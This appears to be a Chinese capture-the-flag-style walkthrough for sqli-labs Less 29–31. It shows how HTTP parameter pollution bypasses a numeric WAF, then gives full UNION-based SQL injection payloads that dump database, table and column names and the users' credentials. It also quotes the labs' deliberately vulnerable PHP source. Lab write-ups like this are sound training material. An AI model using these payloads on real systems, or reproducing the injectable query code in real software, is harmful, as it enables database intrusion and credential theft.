1. 程式人生 > 資料庫 >sqli-labs 通關指南:Less 29、30、31

sqli-labs 通關指南:Less 29、30、31

Less 29、30、31 都使用了 WAF 進行引數過濾,此處我們需要對 WAF 進行繞過再進行注入。可以使用 HPP 引數汙染攻擊,繞過 WAF 之後的注入過程和 Less 1 一樣。

目錄

Less 29

判斷注入型別

注入正常的引數,網頁返回正常的資訊。注入單引號閉合,網頁被切換到 hacked.php,可以看到注入的引數被 WAF 防禦了。WAF (Web 應用防護系統)

是通過執行一系列針對 HTTP/HTTPS 的安全策略來專門為 Web 應用提供保護的一款產品。此處應該是對注入的引數進行了強效過濾,以此達到了 WAF 的作用。

繞過的方法是 HPP (HTTP Parameter Pollution),也就是 HTTP 引數汙染。我們注入兩個同名的引數 id,第一個引數用於繞過 WAF,第二個引數用於注入。

?id=1&id=2


可以看到這種攻擊成功繞過了 WAF,對第二個引數用單引號閉合並註釋掉後面的內容。網頁回顯正常的引數,說明網頁存在單引號閉合的字元型注入。

?id=1&id=2'--+

獲取資料庫資訊

使用引數汙染後,注入流程和 Less 1 一樣。判斷表有幾列。

?id=1&id=1' ORDER BY 3--+


判斷哪些列可用。

?id=1&id=-1' UNION SELECT 1,2,3--+


爆資料庫名。

?id=1&id=-1' UNION SELECT 1,database(),3 --+


爆表名。

?id=1&id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+


爆欄位名。

?id=1&id=-1' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+

獲取目標資訊

爆出 users 表中的資訊。

?id=1&id=-1' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+

關卡原始碼

SQL 查詢語句

原始碼如下,原始碼通過了 java_implimentation() 方法獲取到了 id 引數。接著原始碼使用 GET 方法獲取 id 引數,並通過 whitelist() 方法判斷引數是否合法。注意我們在上面傳入了 2 個同名引數,使用 GET 方法獲取到的是後面的引數。

// take the variables 
if(isset($_GET['id']))
{
      $qs = $_SERVER['QUERY_STRING'];
      $hint = $qs;
      $id1 = java_implimentation($qs);
      $id = $_GET['id'];
      //echo $id1;
      whitelist($id1);

      // connectivity 
      $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
      $result = mysql_query($sql);
      $row = mysql_fetch_array($result);
      if($row)
      {
            echo "<font size='5' color= '#99FF00'>";	
	    echo 'Your Login name:'. $row['username'];
	    echo "<br>";
	    echo 'Your Password:' .$row['password'];
	    echo "</font>";
      }
      else 
      {
            echo '<font color= "#FFFF00">';
            print_r(mysql_error());
            echo "</font>";  
      }
}

java_implimentation() 方法

該方法將 GET 讀入的整行引數使用 explode() 方法對 “&” 進行分割,返回一個分割後的陣列。接著方法通過 substr() 方法提取對 “&” 分割後的第一個元素的前 2 個字元,若這 2 個字元是 “id”,則再次使用 substr() 方法提取等號後面的值返回。注意該方法提取的是 2 個同名變數中的第一個,因此它無法對第二個同名變數進行操作。

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
      $q_s = $query_string;
      $qs_array = explode("&",$q_s);

      foreach($qs_array as $key => $value)
      {
            $val = substr($value,0,2);
            if($val == "id")
            {
                  $id_value = substr($value,3,30); 
                  return $id_value;
                  echo "<br>";
		  break;
	    }
      }
}

whitelist() 方法

該方法使用正則表示式判斷傳入的引數是否是數字,若不是數字則跳轉頁面。由於注入 2 個同名引數時,java_implimentation() 方法返回的引數是第一個 id 引數,此時這個過濾就被我們繞過了。

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
      $match = preg_match("/^\d+$/", $input);
      if($match)
      {
            //echo "you are good";
            //return $match;
      }
      else
      {	
            header('Location: hacked.php');
            //echo "you are bad";
      }
}

Less 30

判斷注入型別

注入正常的引數,網頁返回正常的資訊。注入單引號閉合,此處引數也被 WAF 防禦了,注入兩個同名的引數 id 進行引數汙染。對第二個引數用單引號閉合並註釋掉後面的內容,網頁回顯正常的資訊,說明此處不是單引號閉合的。

?id=1&id=2'


測試多種引數,測試到用雙引號閉合時返回錯誤資訊,把後面的內容註釋掉後回顯正確的資訊,說明網頁存在雙引號閉合的字元型注入。

?id=1&id=2"
?id=1&id=2"--+

獲取資料庫資訊

除了閉合的是雙引號,注入流程和 Less 29 一樣。判斷表有幾列。

?id=1&id=2" ORDER BY 3--+


判斷哪些列可用。

?id=1&id=-1" UNION SELECT 1,2,3--+


爆資料庫名。

?id=1&id=-1" UNION SELECT 1,database(),3 --+


爆表名。

?id=1&id=-1" UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+


爆欄位名。

?id=1&id=-1" union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+

獲取目標資訊

爆出 users 表中的資訊。

?id=1&id=-1" UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+

關卡 SQL 查詢語句

if(isset($_GET['id']))
{
      $qs = $_SERVER['QUERY_STRING'];
      $hint = $qs;
      $id1 = java_implimentation($qs);
      $id = $_GET['id'];
      //echo $id1;
      whitelist($id1);
      $id = '"' .$id. '"';

      // connectivity 
      $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
      $result = mysql_query($sql);
      $row = mysql_fetch_array($result);
      if($row)
      {
            echo "<font size='5' color= '#99FF00'>";	
	    echo 'Your Login name:'. $row['username'];
	    echo "<br>";
	    echo 'Your Password:' .$row['password'];
	    echo "</font>";
      }
      else 
      {
            echo '<font color= "#FFFF00">';
            print_r(mysql_error());
            echo "</font>";  
      }
}

Less 31

判斷注入型別

注入正常的引數,網頁返回正常的資訊。注入單引號閉合,此處引數也被 WAF 防禦了,注入兩個同名的引數 id 進行引數汙染。對第二個引數用單引號閉合並註釋掉後面的內容,網頁回顯正常的資訊,說明此處不是單引號閉合的。

?id=1&id=2'


測試多種引數,測試到用雙引號和括號閉合時返回錯誤資訊,把後面的內容註釋掉後回顯正確的資訊,說明網頁存在雙引號和括號閉合的字元型注入。

?id=1&id=2")
?id=1&id=2")--+

獲取資料庫資訊

除了閉合的是雙引號和括號,注入流程和 Less 30 一樣。判斷表有幾列。

?id=1&id=2") ORDER BY 3--+


判斷哪些列可用。

?id=1&id=-1") UNION SELECT 1,2,3--+


爆資料庫名。

?id=1&id=-1") UNION SELECT 1,database(),3 --+


爆表名。

?id=1&id=-1") UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+


爆欄位名。

?id=1&id=-1") union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+

獲取目標資訊

爆出 users 表中的資訊。

?id=1&id=-1") UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+

關卡 SQL 查詢語句

if(isset($_GET['id']))
{
      $qs = $_SERVER['QUERY_STRING'];
      $hint = $qs;
      $id1 = java_implimentation($qs);
      $id = $_GET['id'];
      //echo $id1;
      whitelist($id1);
      $id = '"' .$id. '"';

      // connectivity 
      $sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";
      $result = mysql_query($sql);
      $row = mysql_fetch_array($result);
      if($row)
      {
            echo "<font size='5' color= '#99FF00'>";	
	    echo 'Your Login name:'. $row['username'];
	    echo "<br>";
	    echo 'Your Password:' .$row['password'];
	    echo "</font>";
      }
      else 
      {
            echo '<font color= "#FFFF00">';
            print_r(mysql_error());
            echo "</font>";  
      }
}